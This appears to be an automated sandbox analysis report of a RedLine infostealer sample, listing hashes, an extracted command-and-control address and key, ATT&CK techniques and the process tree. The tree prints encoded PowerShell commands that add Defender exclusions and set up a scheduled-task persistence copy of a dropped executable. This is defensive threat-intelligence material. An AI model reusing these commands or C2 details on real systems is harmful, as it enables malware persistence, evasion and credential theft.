redline | cb669b48124cb5fa6b643aada9e773454d0db48e614cc54b45ecc319444b308d

Analysis

max time kernel
93s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20220721-en
resource tags

arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2022, 15:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5502ffaa27bbc53c186001d55e8ec6c2.exe
Size 1.3MB
Sample220726-splkzaeag7
SHA256 cb669b48124cb5fa6b643aada9e773454d0db48e614cc54b45ecc319444b308d
MD5 5502ffaa27bbc53c186001d55e8ec6c2
SHA1 4182bd82491885a26c6ebe22a7f1822bcf32a100
SHA512 44cf0af2e2996ddc94f3323f96e3997b84df495ff381c569ed004c75b0d06ef3630b90e3f3e13e6f45c373fa82c101efddee644cc317ce8b8747899fa612d20d
MD5 SHA1 SHA512

Score

10^/10

redline infostealer spyware

Malware Config

Extracted

Family

redline

185.186.142.127:6737

Attributes

auth_value
1fce8029e8fab4e62b767b33e52bdb9e

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/199488-131-0x0000000000760000-0x0000000000780000-memory.dmp	family_redline

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
199480	fl.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2660308776-3705150086-26593515-1000\Control Panel\International\Geo\Nation	fl.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2252 set thread context of 199488	2252	5502ffaa27bbc53c186001d55e8ec6c2.exe	82

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\fghfgfgh.exe	powershell.exe
File opened for modification	C:\Program Files\fghfgfgh.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
199488	AppLaunch.exe
3736	powershell.exe
3736	powershell.exe
199480	fl.exe
5012	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	199488	AppLaunch.exe
Token: SeDebugPrivilege	3736	powershell.exe
Token: SeDebugPrivilege	199480	fl.exe
Token: SeShutdownPrivilege	3200	powercfg.exe
Token: SeCreatePagefilePrivilege	3200	powercfg.exe
Token: SeShutdownPrivilege	4572	powercfg.exe
Token: SeCreatePagefilePrivilege	4572	powercfg.exe
Token: SeShutdownPrivilege	2032	powercfg.exe
Token: SeCreatePagefilePrivilege	2032	powercfg.exe
Token: SeShutdownPrivilege	4844	powercfg.exe
Token: SeCreatePagefilePrivilege	4844	powercfg.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5012	powershell.exe
Token: SeSecurityPrivilege	5012	powershell.exe
Token: SeTakeOwnershipPrivilege	5012	powershell.exe
Token: SeLoadDriverPrivilege	5012	powershell.exe
Token: SeSystemProfilePrivilege	5012	powershell.exe
Token: SeSystemtimePrivilege	5012	powershell.exe
Token: SeProfSingleProcessPrivilege	5012	powershell.exe
Token: SeIncBasePriorityPrivilege	5012	powershell.exe
Token: SeCreatePagefilePrivilege	5012	powershell.exe
Token: SeBackupPrivilege	5012	powershell.exe
Token: SeRestorePrivilege	5012	powershell.exe
Token: SeShutdownPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeSystemEnvironmentPrivilege	5012	powershell.exe
Token: SeRemoteShutdownPrivilege	5012	powershell.exe
Token: SeUndockPrivilege	5012	powershell.exe
Token: SeManageVolumePrivilege	5012	powershell.exe
Token: 33	5012	powershell.exe
Token: 34	5012	powershell.exe
Token: 35	5012	powershell.exe
Token: 36	5012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5012	powershell.exe
Token: SeSecurityPrivilege	5012	powershell.exe
Token: SeTakeOwnershipPrivilege	5012	powershell.exe
Token: SeLoadDriverPrivilege	5012	powershell.exe
Token: SeSystemProfilePrivilege	5012	powershell.exe
Token: SeSystemtimePrivilege	5012	powershell.exe
Token: SeProfSingleProcessPrivilege	5012	powershell.exe
Token: SeIncBasePriorityPrivilege	5012	powershell.exe
Token: SeCreatePagefilePrivilege	5012	powershell.exe
Token: SeBackupPrivilege	5012	powershell.exe
Token: SeRestorePrivilege	5012	powershell.exe
Token: SeShutdownPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeSystemEnvironmentPrivilege	5012	powershell.exe
Token: SeRemoteShutdownPrivilege	5012	powershell.exe
Token: SeUndockPrivilege	5012	powershell.exe
Token: SeManageVolumePrivilege	5012	powershell.exe
Token: 33	5012	powershell.exe
Token: 34	5012	powershell.exe
Token: 35	5012	powershell.exe
Token: 36	5012	powershell.exe
Token: SeIncreaseQuotaPrivilege	5012	powershell.exe
Token: SeSecurityPrivilege	5012	powershell.exe
Token: SeTakeOwnershipPrivilege	5012	powershell.exe
Token: SeLoadDriverPrivilege	5012	powershell.exe
Token: SeSystemProfilePrivilege	5012	powershell.exe
Token: SeSystemtimePrivilege	5012	powershell.exe
Token: SeProfSingleProcessPrivilege	5012	powershell.exe
Token: SeIncBasePriorityPrivilege	5012	powershell.exe
Token: SeCreatePagefilePrivilege	5012	powershell.exe
Token: SeBackupPrivilege	5012	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2252 wrote to memory of 199488	2252	5502ffaa27bbc53c186001d55e8ec6c2.exe	82
PID 2252 wrote to memory of 199488	2252	5502ffaa27bbc53c186001d55e8ec6c2.exe	82
PID 2252 wrote to memory of 199488	2252	5502ffaa27bbc53c186001d55e8ec6c2.exe	82
PID 2252 wrote to memory of 199488	2252	5502ffaa27bbc53c186001d55e8ec6c2.exe	82
PID 2252 wrote to memory of 199488	2252	5502ffaa27bbc53c186001d55e8ec6c2.exe	82
PID 199488 wrote to memory of 199480	199488	AppLaunch.exe	83
PID 199488 wrote to memory of 199480	199488	AppLaunch.exe	83
PID 199480 wrote to memory of 3736	199480	fl.exe	84
PID 199480 wrote to memory of 3736	199480	fl.exe	84
PID 199480 wrote to memory of 3296	199480	fl.exe	88
PID 199480 wrote to memory of 3296	199480	fl.exe	88
PID 3296 wrote to memory of 3200	3296	cmd.exe	90
PID 3296 wrote to memory of 3200	3296	cmd.exe	90
PID 3296 wrote to memory of 4572	3296	cmd.exe	91
PID 3296 wrote to memory of 4572	3296	cmd.exe	91
PID 3296 wrote to memory of 2032	3296	cmd.exe	92
PID 3296 wrote to memory of 2032	3296	cmd.exe	92
PID 3296 wrote to memory of 4844	3296	cmd.exe	93
PID 3296 wrote to memory of 4844	3296	cmd.exe	93
PID 199480 wrote to memory of 5012	199480	fl.exe	94
PID 199480 wrote to memory of 5012	199480	fl.exe	94

C:\Users\Admin\AppData\Local\Temp\5502ffaa27bbc53c186001d55e8ec6c2.exe
"C:\Users\Admin\AppData\Local\Temp\5502ffaa27bbc53c186001d55e8ec6c2.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2252
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:199488
- - C:\Users\Admin\AppData\Local\Temp\fl.exe
    "C:\Users\Admin\AppData\Local\Temp\fl.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:199480
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAYQBnAGwAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB0AG8AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdwB4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AdAAjAD4A"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3736
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3296
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4572
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2032
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBwAG8AdwBlAHIAcwBoAGUAbABsACcAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACcALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAiAFAAQQBBAGoAQQBIAFEAQQBjAEEAQgAxAEEAQwBNAEEAUABnAEEAZwBBAEYATQBBAGQAQQBCAGgAQQBIAEkAQQBkAEEAQQB0AEEARgBBAEEAYwBnAEIAdgBBAEcATQBBAFoAUQBCAHoAQQBIAE0AQQBJAEEAQQB0AEEARQBZAEEAYQBRAEIAcwBBAEcAVQBBAFUAQQBCAGgAQQBIAFEAQQBhAEEAQQBnAEEAQwBjAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEEAZwBBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBjAHcAQgBjAEEARwBZAEEAWgB3AEIAbwBBAEcAWQBBAFoAdwBCAG0AQQBHAGMAQQBhAEEAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAHQAQQBGAFkAQQBaAFEAQgB5AEEARwBJAEEASQBBAEIAUwBBAEgAVQBBAGIAZwBCAEIAQQBIAE0AQQBJAEEAQQA4AEEAQwBNAEEAZQBnAEIAagBBAEMATQBBAFAAZwBBAD0AIgAnACkAIAA8ACMAbgB4ACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAcQBoAGMAZAAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGsAaAB5ACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBnAGYAaABmAGcAaAAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGEAZQB0ACMAPgA7ACAAQwBvAHAAeQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAZgBsAC4AZQB4AGUAJwAgAC0ARABlAHMAdABpAG4AYQB0AGkAbwBuACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAZgBnAGgAZgBnAGYAZwBoAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHUAYQB1ACMAPgA7ACAA"
      4⤵
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5012

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
MD5 SHA1 SHA512

Submit Download

fl.exe

Path C:\Users\Admin\AppData\Local\Temp\fl.exe
Size 1.8MB
SHA256 80ec0943f2ddbbf8fde599b3835e7852e3110154fc2158091ce32dd12a8ed284
MD5 9e5b0be75887be51bb28ebb0fc64342e
SHA1 565bf00a6080e65fce8034fa31569cbf33986f25
SHA512 0dc77043e1d12a66d8d88e93219a8fc43b01ffe4e035404a0f1747bb76775efeaacc3eac72b65d5e63d6beffdbc2cd71cad31823378c65a340b50924c4f4a708
SSDEEP 49152:0EqDRlc1ztOgmlHqiUU1z7zgaYTeCxx+Y5Qd4o7jv:VtOgmzUUdoam+Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

fl.exe

Path C:\Users\Admin\AppData\Local\Temp\fl.exe
Size 1.8MB
SHA256 80ec0943f2ddbbf8fde599b3835e7852e3110154fc2158091ce32dd12a8ed284
MD5 9e5b0be75887be51bb28ebb0fc64342e
SHA1 565bf00a6080e65fce8034fa31569cbf33986f25
SHA512 0dc77043e1d12a66d8d88e93219a8fc43b01ffe4e035404a0f1747bb76775efeaacc3eac72b65d5e63d6beffdbc2cd71cad31823378c65a340b50924c4f4a708
SSDEEP 49152:0EqDRlc1ztOgmlHqiUU1z7zgaYTeCxx+Y5Qd4o7jv:VtOgmzUUdoam+Y
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/3736-155-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/3736-157-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/3736-153-0x000001CE569C0000-0x000001CE569E2000-memory.dmp

Download

memory/5012-166-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/5012-167-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/199480-156-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/199480-168-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/199480-151-0x0000000000770000-0x000000000094E000-memory.dmp

Download

memory/199480-154-0x00007FF88B2A0000-0x00007FF88BD61000-memory.dmp

Download

memory/199488-143-0x00000000063E0000-0x0000000006984000-memory.dmp

Download

memory/199488-140-0x00000000050E0000-0x0000000005146000-memory.dmp

Download

memory/199488-145-0x0000000006230000-0x0000000006280000-memory.dmp

Download

memory/199488-144-0x0000000006090000-0x00000000060AE000-memory.dmp

Download

memory/199488-147-0x0000000007260000-0x000000000778C000-memory.dmp

Download

memory/199488-142-0x0000000005D90000-0x0000000005E22000-memory.dmp

Download

memory/199488-141-0x0000000005C50000-0x0000000005CC6000-memory.dmp

Download

memory/199488-146-0x0000000006B60000-0x0000000006D22000-memory.dmp

Download

memory/199488-139-0x0000000004DB0000-0x0000000004DEC000-memory.dmp

Download

memory/199488-138-0x0000000004E80000-0x0000000004F8A000-memory.dmp

Download

memory/199488-137-0x0000000004D50000-0x0000000004D62000-memory.dmp

Download

memory/199488-136-0x00000000052B0000-0x00000000058C8000-memory.dmp

Download

memory/199488-131-0x0000000000760000-0x0000000000780000-memory.dmp

Download